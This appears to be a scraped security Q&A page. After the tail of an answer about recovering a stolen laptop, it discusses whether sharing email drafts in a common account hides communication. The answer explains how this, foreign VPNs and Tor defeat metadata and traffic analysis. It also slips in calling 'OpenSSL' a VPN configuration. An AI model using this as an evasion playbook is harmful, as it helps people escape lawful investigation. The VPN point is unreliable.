What happens when you steal a hacker's computer is interesting.  Due to the fact that he had an insecure setup and that the thief could use his machine, Zoz was able to track it down using a dynamic DNS update and ultimately recover it.

To be honest I would use full disk encryption, set a BIOS password, disable the Ubuntu guest account and when the machine is stolen consider it lost forever (and hopefully useless to the thief). It's very unlikely that any software will be helpful in recovering it.


What are the supposed security benefits of a "dead-drop" email strategy? This was in the news recently. Here's what they were said to have been doing:

Petraeus and Broadwell apparently used a trick, known to terrorists and teenagers alike, to conceal their email traffic, one of the law enforcement officials said.
Rather than transmitting emails to the other's inbox, they composed at least some messages and instead of transmitting them, left them in a draft folder or in an electronic "dropbox," the official said. Then the other person could log onto the same account and read the draft emails there. This avoids creating an email trail that is easier to trace."

What are the benefits of this? Does it work? Is communicating solely through drafts in a temporary GMail (or similar) account considered a secure method of communication, and if so how secure is it?

The question "does it work" really depends on what threat you are trying to mitigate. For example, in the United Kingdom we are about to introduce legislation to mandate that ISPs keep logs of various types of internet activity.

How and where you might perform this interception is up for debate. For example, if an ISP attempts to intercept mail server communication, many email connections use TLS or the like, so this is (without an SSL proxy and the associated certificate issues) moderately difficult without CA complicity. However, they certainly can log anything sent by their mail server to satisfy the compliance needs. I suspect that the ISPs remit does not extend to logging mail sent by other providers, but might reasonably extend to IP addresses communicated with.

So, in sending an email via your GMail SMTP server, Whitehall would know that you accessed that IP address and they would then know who your email provider was. Depending on the implementation of the snooping, Whitehall can either ask Google, who would legally be required to comply, or they can ask the ISP that passed the packets, as they would have the technical means to provide it. I make this ambiguous because I'm not privy to how it would be done, and do not wish to speculate on an already hot enough topic.

If you do not actually send anything, that record is never created.

Now, that does not mean the message cannot be read. Mail servers store drafts in some format (Maildir, mbox, whatever exchange uses, SQL?) Assuming the government believe that information may or may not be valuable, they can via their legal mechanisms now gain access to the access records of that email inbox and, one assumes, deduce which IP addresses accessed that information.

This is where the problems arise for the government, and the reason for using this technique comes in. The assumption being made, I believe, is that each individual corresponds to an individual email address. As such, when you see that Jeff has sent Joel an email, you can add that to your picture of information about their social interactions. Formally, this field is known as Social Network Analysis. Facebook have been playing in this area with the social graph and there is much research done on the topic.

At a more fundamental level, the existence of evidence records linking A to B can (be attempted to be, I am not a lawyer) used as proof for any criminal act should it arise from the communication.

Anyway, back to the caveat. Logging in as the same user essentially breaks the email account to identity mapping, making it hard to work out who has communicated. This is essentially the same reasoning behind using a dead drop in traditional espionage, with the added difficulty that if both parties are changing their ip addresses regularly, your chances of working out who is communicating with whom reduces to very narrow. Depending on VPN providers used, you may be able to track down individuals; however, I suspect if your VPN provider is based abroad with no incentive to log any information, they would not help. Similarly, assuming no exploitable flaws in Tor, this system would also work nicely.

Interestingly, we had a similar debate on civil liberties and monitoring with the Digital Economy Act, or what was then just a Bill (proposed Act). At the time, the Security Service worried that being too strict on file sharers would essentially accelerate the adoption of encryption, making content snooping impossible. Specifically, effective traffic analysis requires non-encrypted tunnels.

This remains relevant here. I've mentioned VPN providers and using them to mask your IP address. Using a VPN provider from a nation with no interest in law enforcement co-operation, while turning on encryption means your ISP can deduce two things:

That you are using VPN;
Who your VPN provider is.

Unless the VPN provider co-operates in identifying you and the websites you access via their service, this gives the ISP very little of use to report to the government. Moreover, VPN configurations such as OpenSSL or SSTP can be configured to use explicit keys, rather than the CA certificate chain, and as such provided proper key verification occurs (i.e. you know the certificate of the remote end and reject any other certificate), you cannot be fooled into accepting a proxy key. You do have to get this right, and getting it wrong will leave you vulnerable to MITM, but it is possible.

All in all, this is an excellent communication mechanism should you wish to avoid any analysis that relies on your identity being tied to your email address and you use an appropriate technique properly to mask other properties that might uniquely identify you, e.g. IP address. In the interests of brevity, I have not discussed browser fingerprinting either, but that's relevant too.

You do not, of course, mitigate the threat that somebody could actually read that message, or the threat of it not arriving. And of course, if you give away who you are in such a message, the game is up again!